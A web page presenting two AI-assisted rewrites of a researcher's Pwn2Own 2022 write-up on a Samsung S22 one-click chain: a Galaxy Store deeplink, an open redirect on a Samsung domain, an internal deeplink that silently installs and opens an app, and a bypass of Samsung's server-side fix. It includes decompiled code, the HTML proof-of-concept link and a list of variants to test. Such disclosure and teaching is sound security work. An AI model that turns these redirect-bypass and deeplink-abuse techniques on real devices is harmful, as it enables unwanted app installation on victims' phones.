Skip to content
Open redirect Write-up Intermediate

The Old, The New and The Bypass - One-click/Open-redirect to own Samsung S22 at Pwn2Own 2022

An open redirect on a Samsung domain allowed a crafted deeplink to load an attacker-controlled URL in the Galaxy Store's internal webview, which could then trigger automatic installation and launch of any app. The attacker needed the victim to click a link once.

Nguyễn Tiến Giang Follow

Published on starlabs.sg

We began our work on Samsung immediately after the release of the Pwn2Own Toronto 2022 target list.

Nguyễn Tiến Giang (Jang), on starlabs.sg

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

## Context

Samsung phones ship with a bundle of pre-installed apps, among them `Galaxy Store`, a third-party app store developed by Samsung that comes pre-installed on all Samsung phones from the factory, and Samsung Pay. These apps hold a range of permissions, including the ability to install additional apps, and they register a large number of deeplinks with the operating system. That combination is what makes them interesting: a deeplink is a URL or protocol that the OS associates with an app, so that clicking a link launches the app and hands it the URL to process. On a desktop this is the mechanism that opens a Teams meeting link in the Teams client instead of the browser; on Android the registered app receives the deeplink and decides what to do with it.

The work described here started immediately after the release of the Pwn2Own Toronto 2022 target list. It revisits a 2021 entry by Li Jiantao and Nguy�
n Hoàng Thạch, which identified two bugs in this area: one was exploited at Pwn2Own, the other was promptly addressed. The 2021 vulnerability abused how these apps handle deeplinks to install and launch any app without any input or action from the user, and its details are public in the SSD Advisory "Galaxy Store Applications Installation Launching Without User Interaction".

The 2022 research produced an open-redirect bug on a Samsung-hosted web endpoint, chained with a Galaxy Store deeplink, and then a bypass of Samsung's server-side fix for that redirect. The chain was used against a Samsung S22 at Pwn2Own 2022.

## Setup

The starting point is the 2021 entry, which focused on `Galaxy Store`. At the time of that submission the app version mentioned was `[redacted]`. The 2021 entry used a deeplink handled by an activity called `McsWebViewActivity`:

```text
samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/
```

The `url` parameter decides which web address is loaded into the internal WebView of the Galaxy Store app. Before loading, `McsWebViewActivity.isValidUrl()` checks it:

```java
public boolean isValidUrl(String str) {
    boolean z = this.extra_is_deeplink;
    if (z) {
        if (z && !TextUtils.isEmpty(str)) {
            if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
                if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
                }
            }
        }
        return false;
    }
    return true;
}
```

The internal WebView therefore only allows loading from two domains, `https://us.mcsvc.samsung.com` and `https://img.samsungapps.com`. Both `getMcsWebDomain()` and `getGmpWebDomain()` return `https://us.mcsvc.samsung.com`.

Internal WebViews can expose "bindings" that let JavaScript call Java methods. In `McsWebViewActivity` the WebView is configured with JavaScript enabled and an `EditorialScriptInterface` instance registered under the name `GalaxyStore`:

```java
//McsWebViewActivity
private void a(WebSettings p0,String p1){
    p0.setJavaScriptEnabled(true);
    EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
    this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
  ///
}
```

On the client side, `GalaxyStore.downloadApp('app')` invokes `EditorialScriptInterface.downloadApp()`. The 2021 chain combined this with an XSS in `https://us.mcsvc.samsung.com/mcp25/devops/redirect.html` to run JavaScript inside the internal WebView and install an app without user interaction.

## Finding it

When the 2022 review began, the XSS bug was already fixed and the test mode had been removed. The researcher spent a few hours deobfuscating and studying the source code of the same area and came across an open-redirect bug:

```http
https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx
```

On its own this is a redirect on a Samsung domain. Combined with the `MCSLaunch` deeplink, it becomes something more useful, because the deeplink validation accepts `us.mcsvc.samsung.com` and the redirect then moves the WebView off that domain:

```http
samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx
```

When the user clicks that deeplink, a WebView loads the `us.mcsvc.samsung.com` URL, which then redirects to the attacker's website.

There is a limit at this stage. Any URL can be loaded into the internal WebView, but the `GalaxyStore` binding cannot be used to install a new app, because `EditorialScriptInterface.downloadApp()` validates that the URL originates from either `us.mcsvc.samsung.com` or `img.samsungapps.com` before allowing installation.

## Exploitation

### Step 1: understand how the WebView handles redirects

Every deeplink associated with `McsWebViewActivity` is handled by the `McsWebViewClient` class, which extends `CommonWebViewClient`. `McsWebViewClient.shouldOverrideUrlLoading()` checks and processes each URL, including redirected URLs:

```java
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
    if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
        return super.shouldOverrideUrlLoading(webView, str);
    }
    Uri parse = Uri.parse(str);
    String scheme = parse.getScheme();
    String host = parse.getHost();
    if ("intent".equalsIgnoreCase(scheme)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
        //...
    } else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
        return super.shouldOverrideUrlLoading(webView, str);
    } else {
        //...
    }
}
```

If the URL scheme is not `samsungapps` and the host is not `internalweb`, the URL is passed to the superclass, `CommonWebViewClient.shouldOverrideUrlLoading()`:

```java
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    if (!(str == null || str.length() == 0)) {
        Uri parse = Uri.parse(str);
        String scheme = parse.getScheme();
        String host = parse.getHost();
        if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
            return true;
        }
        //...
    }
    return false;
}
```

This superclass method handles URLs with the `https` or `http` scheme and the hostname `apps.samsung.com`, calling `DeeplinkUtil.openInternalDeeplink()` on them. Internal deeplinks are executed differently from ordinary deeplinks, and some of them inside `Galaxy Store` can trigger automatic app installation. During Pwn2Own Toronto 2022 the internal deeplink used was:

```text
https://apps.samsung.com/appquery/appDetail.as?appId=<app>
```

It is processed by `DetailAlleyPopupDeeplink.runInternalDeepLink()`:

```java
public class DetailAlleyPopupDeeplink extends DetailPageDeepLink
{
  public boolean runInternalDeepLink(Context p0){
      if (!this.launchApp(p0, this.getDetailID())) {
        String detailID = this.getDetailID();
        boolean mIsStub = this.mIsStub;
        String mSignId = this.mSignId;
        String mQueryStr = this.mQueryStr;
        String adSource = this.getAdSource();
        String source = this.getSource();
        String sender = (this.isDirectInstall())? this.getSender(): "";
        DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
      }
      return true;
  }
}
```

In short, including the `directInstall` and `directOpen` parameters causes the app to be installed automatically and opened immediately after installation.

### Step 2: the proof of concept

The PoC is a page with a single link that the victim has to click:

```html
<head>
 </head>
 <body>
    <b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
 </body>
 <script>
 </script>
```

The `fallbackUrl` parameter carries the deeplink for the app details of a Samsung application. The app-details deeplink format is:

```text
https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup
```

In the PoC the inner URL is double-encoded (`%253f`, `%253d`, `%2526`). The only user interaction required is one click on the attacker's link.


{{media:0}}


### Step 3: the bypass

A week before the contest Samsung was actively addressing the bug. They made around two to three attempts to fix it before finally resolving it on 02nd December 2022. After each fix the researcher found a bypass, and Samsung fixed the bypass. The conclusion was that they were actively monitoring the vulnerable `us.mcsvc.samsung.com` website and applying hot-fixes. The crucial aspect is that the bug resides primarily on the server side, which lets Samsung patch it without notifying the researcher.

The most recent update occurred just two hours before the registration deadline. The bypass was found in time and the researcher was able to participate in the contest. The patch that was in place at that point is shown below:


{{media:1}}


The bypass itself is in the redirect page's JavaScript. The reproduction walks through it in three steps.

1. Step 1: The parameter `_0x3015c4` in the `_0x8033d6()` function receives the variable fallbackUrl. Afterwards, the `_0x46f66f()` function is invoked to decode the URL stored in `fallbackUrl` and assign the resulting value to the variable `_0x1851d7`:


{{media:2}}



{{media:3}}


2. Step 2: The URL is decoded and the resulting value `fallbackUrl` is passed to the `_0x5ea70f()` function to determine if the hostname matches `www.sofi.com`:


{{media:4}}



{{media:5}}


3. Step 3: If the specified conditions are met, the `location.replace()` method will be invoked to redirect the user to the desired URL. The `_0x3015c4` parameter will be included in the redirection process:


{{media:6}}



{{media:7}}


The vulnerability is in Step 2. The `fallbackUrl` is decoded to a URL before the hostname check, but during the redirect the original `fallbackUrl` is used instead of the decoded version. Constructing a URL that passes the check on its decoded form while redirecting somewhere else in its original form bypassed the fix and redirected to the desired host:


{{media:8}}


## Root cause

The root cause is the mismatch between the value that is validated and the value that is used. The redirect page decodes `fallbackUrl` into `_0x1851d7`, checks the hostname of the decoded value in `_0x5ea70f()`, and then calls `location.replace()` with the original `_0x3015c4` parameter rather than the decoded one. Any encoding difference between the two representations lets an attacker satisfy the hostname check with one URL and redirect to another.

The chain as a whole depends on two further weaknesses. And the internal deeplink `https://apps.samsung.com/appquery/appDetail.as` accepts `directInstall` and `directOpen`, so reaching that host from the WebView is enough to install and launch an app. The `GalaxyStore` JavaScript binding is protected by a check on the originating URL, which is why the redirect alone could not be used to call `downloadApp()` directly.

## Impact

An attacker who gets a victim to click a single link can cause a chosen Samsung application to be installed and opened on the victim's phone, without further interaction. The link is a `samsungapps://` deeplink, so the victim must click it at least once; the PoC requires exactly that one click. The redirect that makes the chain work lives on Samsung's server, so the vulnerable component can be fixed server-side, which is what Samsung did, repeatedly, in the run-up to the contest.

## Fix

Samsung fixed the redirect on the server side, on 02nd December 2022, after around two to three attempts. The bypass described above defeated the version of the patch that was live two hours before the registration deadline. The report's user-facing recommendation is to update the Galaxy Store application to the latest version available.

## Variants to test

- Look for redirect endpoints on domains that a privileged deeplink validator accepts. A positive result is a URL on the allowed domain that forwards the WebView to a host you control.
- Compare the value that is validated with the value that is used. Where a parameter is decoded before a hostname check, try supplying an encoded form that decodes to an allowed host but is consumed in its original form by the redirect. A positive result is a redirect to a host that the decoded form would not have permitted.
- Enumerate internal deeplinks on `apps.samsung.com` and similar hosts for parameters such as `directInstall` and `directOpen`. A positive result is an install or launch that happens without a confirmation prompt.
- Test the WebView's `shouldOverrideUrlLoading()` handling for hosts that are treated as internal. A positive result is an `http` or `https` URL on an allow-listed host reaching `openInternalDeeplink()` and triggering an action.
- Check whether JavaScript bindings such as `GalaxyStore.downloadApp()` validate the origin against the current page URL or against a value the page can influence. A positive result is a call that succeeds from a document the attacker controls.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

## What happened, in plain words

Samsung phones come out of the box with a set of apps already installed. Two of them matter here: `Galaxy Store`, which is Samsung's own app store (a shop for downloading apps, separate from Google Play), and Samsung Pay, the payment app. Because these apps are built into the phone, they are trusted more than an app you download yourself. They are allowed to do things like install other apps. They also respond to a special kind of link called a deeplink.

A deeplink is a link that opens an app instead of a web page. You have probably seen this in action: you click a Teams meeting link in your browser and the Teams program opens on your computer, jumping straight to the meeting. The browser did not show a page; the operating system saw the link, recognised that Teams had registered for that kind of link, and handed it over. Android works the same way. An app can tell the phone "when someone clicks a link that looks like this, give it to me", and the phone does.

This article is about a chain of small weaknesses that, added together, let an attacker install and open a chosen app on a Samsung S22 with a single click from the victim. The chain was demonstrated at Pwn2Own 2022, a well-known hacking contest where researchers try to break into real devices in front of an audience. The work started right after the contest's list of target devices was published.

The chain has three parts:

1. An **open redirect** on a Samsung website. An open redirect is a page that takes a web address from the visitor and forwards them to it, without checking where they are going. It is like a receptionist who will walk you to any office you name, including one in another building.
2. A **deeplink** that opens the Galaxy Store's built-in browser (a WebView, explained below) and only allows it to start on a Samsung address. The open redirect lives on that allowed address, so the check passes and then the redirect carries the browser somewhere else.
3. An **internal deeplink** that, when reached, installs and opens an app automatically.

Samsung fixed the redirect several times before the contest, and each time the researcher found a way around the fix. The final bypass came from a subtle mistake: the page checked one version of the address and then used a different version to do the redirect.

## Background: the 2021 research this builds on

The 2022 work revisits an entry from the previous year by Li Jiantao and Nguy�
n Hoàng Thạch. That entry found two bugs in the same area. One was used at Pwn2Own; the other was fixed quickly. The public write-up of the 2021 vulnerability is an SSD Advisory titled "Galaxy Store Applications Installation Launching Without User Interaction". In plain terms, it showed that certain apps on Samsung phones could be made to install and launch another app with no action from the user at all, by abusing how they handle deeplinks.

At the time of that 2021 submission, the Galaxy Store version mentioned was `[redacted]`. The 2021 entry used this deeplink:

```text
samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/
```

Let us take it apart. `samsungapps://` is the part that tells the phone "this link belongs to a Samsung app", much like `https://` tells a browser it is a web address. `MCSLaunch` is the name of the action inside the app that should handle it. Everything after the `?` is a list of settings, called parameters, written as `name=value` pairs joined by `&`. Here there is one parameter, `url`, whose value is `https://us.mcsvc.samsung.com/`. So the link says: "Galaxy Store, please launch your MCS feature and load this web address in it."

The part of the app that receives this is called an activity, and this one is named `McsWebViewActivity`. A WebView is a small browser built into an app. Apps use it to show web content without sending you out to a separate browser app. Because the WebView lives inside Galaxy Store, it inherits Galaxy Store's trust and abilities, which is exactly why an attacker would want to control what it loads.

Before loading the address, the app runs a check called `isValidUrl()`:

```java
public boolean isValidUrl(String str) {
    boolean z = this.extra_is_deeplink;
    if (z) {
        if (z && !TextUtils.isEmpty(str)) {
            if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
                if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
                }
            }
        }
        return false;
    }
    return true;
}
```

Line by line:

- `public boolean isValidUrl(String str)` declares a function that takes a piece of text (the address) and answers yes or no.
- `boolean z = this.extra_is_deeplink;` reads a flag that says whether this load came from a deeplink. The stricter checks only apply in that case.
- `if (z) {` means: if this is a deeplink, do the checks below.
- `if (z && !TextUtils.isEmpty(str)) {` adds a guard so an empty address is not processed.
- `str.startsWith(...)` asks whether the address begins with a particular prefix. The prefix is built from `getMcsWebDomain()` plus a slash.
- The nested `if` checks a second allowed domain, `getGmpWebDomain()`, and a hard-coded third one, `https://img.samsungapps.com/`.
- `return false;` and the final `return true;` are the answers: in the deeplink case the function ends up refusing, and in the ordinary case it allows.

The practical effect is that the internal WebView may only load pages from two domains, `https://us.mcsvc.samsung.com` and `https://img.samsungapps.com`. Both `getMcsWebDomain()` and `getGmpWebDomain()` return `https://us.mcsvc.samsung.com`. Think of it as a guest list at a door: only these two names get in.

There is one more piece of background. A WebView can be given **bindings**: named doorways that let JavaScript running inside the page call functions written in the app's own language (Java). JavaScript is the language web pages use to be interactive; Java is the language Android apps are written in. A binding lets the page reach across from one to the other. In `McsWebViewActivity` the WebView is set up like this:

```java
//McsWebViewActivity
private void a(WebSettings p0,String p1){
    p0.setJavaScriptEnabled(true);
    EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
    this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
  ///
}
```

Line by line:

- `private void a(WebSettings p0,String p1)` is a helper function that receives the WebView's settings object and a string.
- `p0.setJavaScriptEnabled(true);` switches JavaScript on for the WebView. Without this, scripts in the page would not run.
- `EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);` creates an object of the class `EditorialScriptInterface`, handing it the current screen and the WebView.
- `this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");` registers that object under the name `GalaxyStore`, so scripts in the page can call it.
- The second block declares `downloadApp(String p0)`, the function that installs an app. Its body is omitted in the snippet.

So a page loaded in this WebView can call `GalaxyStore.downloadApp('app')`, and that reaches `EditorialScriptInterface.downloadApp()`. The 2021 chain combined this with a cross-site scripting bug (XSS, where an attacker gets their own JavaScript to run on someone else's page) in `https://us.mcsvc.samsung.com/mcp25/devops/redirect.html`. That let the attacker run JavaScript inside the trusted WebView and install an app with no user interaction.

## Finding the new bug

When the 2022 review began, the XSS bug was already fixed and the test mode had been removed. The researcher spent a few hours deobfuscating and studying the source code of the same area. Deobfuscating means taking code that has been deliberately scrambled to be hard to read and working out what it actually does, a bit like untangling a knotted ball of string. In that process an open-redirect bug turned up:

```http
https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx
```

Reading it: the page is `redirect.html` on the Samsung domain `us.mcsvc.samsung.com`. The `?` starts the parameters. `product=samsungpay` and `actionType=eventURL` are settings the page expects. The important one is `fallbackUrl=http://xxxxxx`: a web address supplied by whoever builds the link, which the page will forward the visitor to. Because the page does not check where `fallbackUrl` points, anyone can put any address there. That is the open redirect.

On its own, a redirect on a Samsung domain is not very useful to an attacker: it just moves a visitor from one Samsung page to another site. Combined with the `MCSLaunch` deeplink, it becomes more powerful, because the deeplink check accepts `us.mcsvc.samsung.com` and the redirect then moves the WebView off that domain:

```http
samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx
```

Here the `url` parameter holds the redirect page's address. Notice the odd sequences `%3f` and `%26`. These are **URL encoding**: certain characters cannot appear inside a parameter value without breaking the structure, so they are written in a coded form. `%3f` is a coded `?` and `%26` is a coded `&`. Encoding is like writing a phone number with spaces and dashes so it does not get confused with the surrounding text; the receiver decodes it back to the real characters. The point of encoding here is that the whole redirect address, including its own `?` and `&`, travels as a single value of the outer `url` parameter.

When the user clicks that deeplink, a WebView loads the `us.mcsvc.samsung.com` URL, which then redirects to the attacker's website. The guest list was satisfied by the first address, and the redirect walked the guest out of the building.

There is a limit at this stage. Any URL can be loaded into the internal WebView, but the `GalaxyStore` binding cannot be used to install a new app, because `EditorialScriptInterface.downloadApp()` validates that the URL originates from either `us.mcsvc.samsung.com` or `img.samsungapps.com` before allowing installation. In other words, the doorway to `downloadApp()` has its own bouncer who checks where the page came from. The redirect alone does not get past that bouncer.

## Exploitation

### Step 1: understand how the WebView handles redirects

Every deeplink associated with `McsWebViewActivity` is handled by the `McsWebViewClient` class, which extends `CommonWebViewClient`. "Extends" means it is built on top of the other class and inherits its behaviour, then adds or overrides parts. `McsWebViewClient.shouldOverrideUrlLoading()` checks and processes each URL, including redirected URLs:

```java
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
    if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
        return super.shouldOverrideUrlLoading(webView, str);
    }
    Uri parse = Uri.parse(str);
    String scheme = parse.getScheme();
    String host = parse.getHost();
    if ("intent".equalsIgnoreCase(scheme)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
        //...
    } else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
        return super.shouldOverrideUrlLoading(webView, str);
    } else {
        //...
    }
}
```

Line by line:

- `public boolean shouldOverrideUrlLoading(WebView webView, String str)` is the function Android calls whenever the WebView is about to navigate somewhere. Returning `true` means "I handled it, do not load it as a normal page"; returning `false` means "carry on".
- `Loger.d(...)` writes the address to a debug log, useful when studying the app.
- The `if` with `webView == null || webView.getContext() == null || TextUtils.isEmpty(str)` handles broken input (no WebView, no screen, empty address) by passing it to the parent class with `super.shouldOverrideUrlLoading(...)`.
- `Uri parse = Uri.parse(str);` turns the text into a structured address object.
- `String scheme = parse.getScheme();` extracts the scheme, the part before `://` (like `https` or `samsungapps`).
- `String host = parse.getHost();` extracts the host, the domain name part.
- The chain of `if`/`else if` compares the scheme and host against known values: `intent`, `samsungapps` with host `launch`, `samsungapps` with host `internalweb`, and so on. `equalsIgnoreCase` compares text while ignoring upper or lower case.
- The last `else if` catches everything that is not `samsungapps` with host `externalweb`, and sends it to the parent class.

So if the URL scheme is not `samsungapps` and the host is not `internalweb`, the URL is passed to the superclass, `CommonWebViewClient.shouldOverrideUrlLoading()`:

```java
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    if (!(str == null || str.length() == 0)) {
        Uri parse = Uri.parse(str);
        String scheme = parse.getScheme();
        String host = parse.getHost();
        if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
            return true;
        }
        //...
    }
    return false;
}
```

Line by line:

- The outer `if (!(str == null || str.length() == 0))` skips empty addresses.
- `Uri.parse(str)`, `getScheme()` and `getHost()` do the same splitting as before.
- The long condition has two halves joined by `&&`. The first half is true if the scheme is `samsungapps`, or if the host is `apps.samsung.com` or `www.samsungapps.com` and the scheme is `http` or `https`. The second half requires that the WebView is running inside an activity and that `DeeplinkUtil.openInternalDeeplink(...)` returns true, meaning it accepted and handled the address.
- If both halves hold, `return true;` tells the WebView not to load the address as an ordinary page.
- Otherwise `return false;` lets normal loading continue.

This superclass method handles URLs with the `https` or `http` scheme and the hostname `apps.samsung.com`, calling `DeeplinkUtil.openInternalDeeplink()` on them. Internal deeplinks are executed differently from ordinary deeplinks, and some of them inside `Galaxy Store` can trigger automatic app installation. During Pwn2Own Toronto 2022 the internal deeplink used was:

```text
https://apps.samsung.com/appquery/appDetail.as?appId=<app>
```

This is a normal-looking web address on `apps.samsung.com` that asks for the details page of an app, identified by `appId`. It is processed by `DetailAlleyPopupDeeplink.runInternalDeepLink()`:

```java
public class DetailAlleyPopupDeeplink extends DetailPageDeepLink
{
  public boolean runInternalDeepLink(Context p0){
      if (!this.launchApp(p0, this.getDetailID())) {
        String detailID = this.getDetailID();
        boolean mIsStub = this.mIsStub;
        String mSignId = this.mSignId;
        String mQueryStr = this.mQueryStr;
        String adSource = this.getAdSource();
        String source = this.getSource();
        String sender = (this.isDirectInstall())? this.getSender(): "";
        DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
      }
      return true;
  }
}
```

Line by line:

- `public class DetailAlleyPopupDeeplink extends DetailPageDeepLink` declares a class built on top of `DetailPageDeepLink`.
- `public boolean runInternalDeepLink(Context p0)` is the function that runs when this internal deeplink is received; `Context` is Android's handle to the current screen and app environment.
- `if (!this.launchApp(p0, this.getDetailID()))` first tries to simply open the app if it is already installed. The `!` means the block below runs only when that attempt failed, that is, when the app is not there yet.
- The `String ...` lines collect pieces of information: the app's detail ID, a stub flag, a signing ID, a query string, an advertising source, a source, and a sender. `sender` is set to the sender value only when `isDirectInstall()` is true, otherwise to an empty string. The `? :` form is a compact if/else.
- `DetailLaunchHelper.launch(...)` is then called with all of that, including `this.isDirectInstall()` and `this.isDirectOpen()`.
- `return true;` reports that the deeplink was handled.

In short, including the `directInstall` and `directOpen` parameters causes the app to be installed automatically and opened immediately after installation.

### Step 2: the proof of concept

A proof of concept (PoC) is a small, working demonstration that shows a problem is real rather than theoretical. This one is a page with a single link that the victim has to click:

```html
<head>
 </head>
 <body>
    <b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
 </body>
 <script>
 </script>
```

Line by line:

- `<head>` and `</head>` mark the page's header section, empty here.
- `<body>` starts the visible part of the page.
- `<b>` makes the text bold.
- `<a id="exploit" href="...">click_me</a>` is a hyperlink. `href` is the address the link points to, and `click_me` is the text the victim sees and clicks. The address is the whole attack chain, encoded so it survives being passed around.
- `</body>` ends the visible part.
- `<script>` and `</script>` would hold JavaScript; here they are empty.

The `fallbackUrl` parameter carries the deeplink for the app details of a Samsung application. The app-details deeplink format is:

```text
https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup
```

This is the same internal deeplink from Step 1, filled in. `appId=com.sec.android.app.popupcalculator` names the calculator app. `directInstall=true` and `directOpen=true` switch on the automatic install and open. `form=popup` is another setting the page expects.

In the PoC the inner URL is double-encoded (`%253f`, `%253d`, `%2526`). Double encoding means encoding twice: `%253f` is the encoded form of `%3f`, which itself is the encoded form of `?`. Each layer of decoding peels off one level, like a parcel inside a parcel inside a parcel. The redirect page decodes once, and what is left is still encoded, so it does not accidentally turn into a live `?` or `&` too early.

 The only user interaction required is one click on the attacker's link.


{{media:0}}


### Step 3: the bypass

A week before the contest Samsung was actively addressing the bug. They made around two to three attempts to fix it before finally resolving it on 02nd December 2022. After each fix the researcher found a bypass, and Samsung fixed the bypass. A bypass is a way around a fix: the hole is patched, but a slightly different route reaches the same place, like a locked front door with an open window beside it. The conclusion was that they were actively monitoring the vulnerable `us.mcsvc.samsung.com` website and applying hot-fixes. A hot-fix is a repair applied directly to a live server, without waiting for users to update an app.

The crucial aspect is that the bug resides primarily on the server side, which lets Samsung patch it without notifying the researcher. Because the redirect page lives on Samsung's web server, Samsung could change it at any moment, and the researcher would only find out by testing again.

The most recent update occurred just two hours before the registration deadline. The bypass was found in time and the researcher was able to participate in the contest. The patch that was in place at that point is shown below:


{{media:1}}


The bypass itself is in the redirect page's JavaScript. Obfuscated code is code written to be hard for a human to read, with meaningless names and tangled structure, while still doing the same job for the computer. The reproduction walks through it in three steps.

1. Step 1: The parameter `_0x3015c4` in the `_0x8033d6()` function receives the variable fallbackUrl. Afterwards, the `_0x46f66f()` function is invoked to decode the URL stored in `fallbackUrl` and assign the resulting value to the variable `_0x1851d7`:


{{media:2}}



{{media:3}}


2. Step 2: The URL is decoded and the resulting value `fallbackUrl` is passed to the `_0x5ea70f()` function to determine if the hostname matches `www.sofi.com`:


{{media:4}}



{{media:5}}


3. Step 3: If the specified conditions are met, the `location.replace()` method will be invoked to redirect the user to the desired URL. The `_0x3015c4` parameter will be included in the redirection process:


{{media:6}}



{{media:7}}


The vulnerability is in Step 2. The `fallbackUrl` is decoded to a URL before the hostname check, but during the redirect the original `fallbackUrl` is used instead of the decoded version. This is the mismatch: the guard inspects one thing, and the redirect uses another. It is like a bouncer who checks your printed invitation, then lets in whoever is wearing your coat. Constructing a URL that passes the check on its decoded form while redirecting somewhere else in its original form bypassed the fix and redirected to the desired host:


{{media:8}}


## Root cause

The root cause is the mismatch between the value that is validated and the value that is used. The redirect page decodes `fallbackUrl` into `_0x1851d7`, checks the hostname of the decoded value in `_0x5ea70f()`, and then calls `location.replace()` with the original `_0x3015c4` parameter rather than the decoded one. Any encoding difference between the two representations lets an attacker satisfy the hostname check with one URL and redirect to another.

The chain as a whole depends on two further weaknesses. And the internal deeplink `https://apps.samsung.com/appquery/appDetail.as` accepts `directInstall` and `directOpen`, so reaching that host from the WebView is enough to install and launch an app. The `GalaxyStore` JavaScript binding is protected by a check on the originating URL, which is why the redirect alone could not be used to call `downloadApp()` directly.

## Impact

An attacker who gets a victim to click a single link can cause a chosen Samsung application to be installed and opened on the victim's phone, without further interaction. The link is a `samsungapps://` deeplink, so the victim must click it at least once; the PoC requires exactly that one click. The redirect that makes the chain work lives on Samsung's server, so the vulnerable component can be fixed server-side, which is what Samsung did, repeatedly, in the run-up to the contest.

## Fix

Samsung fixed the redirect on the server side, on 02nd December 2022, after around two to three attempts. The bypass described above defeated the version of the patch that was live two hours before the registration deadline. The report's user-facing recommendation is to update the Galaxy Store application to the latest version available.

## Variants to test

These are the general lessons a security tester can carry to other apps and sites:

- Look for redirect endpoints on domains that a privileged deeplink validator accepts. A positive result is a URL on the allowed domain that forwards the WebView to a host you control.
- Compare the value that is validated with the value that is used. Where a parameter is decoded before a hostname check, try supplying an encoded form that decodes to an allowed host but is consumed in its original form by the redirect. A positive result is a redirect to a host that the decoded form would not have permitted.
- Enumerate internal deeplinks on `apps.samsung.com` and similar hosts for parameters such as `directInstall` and `directOpen`. A positive result is an install or launch that happens without a confirmation prompt.
- Test the WebView's `shouldOverrideUrlLoading()` handling for hosts that are treated as internal. A positive result is an `http` or `https` URL on an allow-listed host reaching `openInternalDeeplink()` and triggering an action.
- Check whether JavaScript bindings such as `GalaxyStore.downloadApp()` validate the origin against the current page URL or against a value the page can influence. A positive result is a call that succeeds from a document the attacker controls.

## Glossary

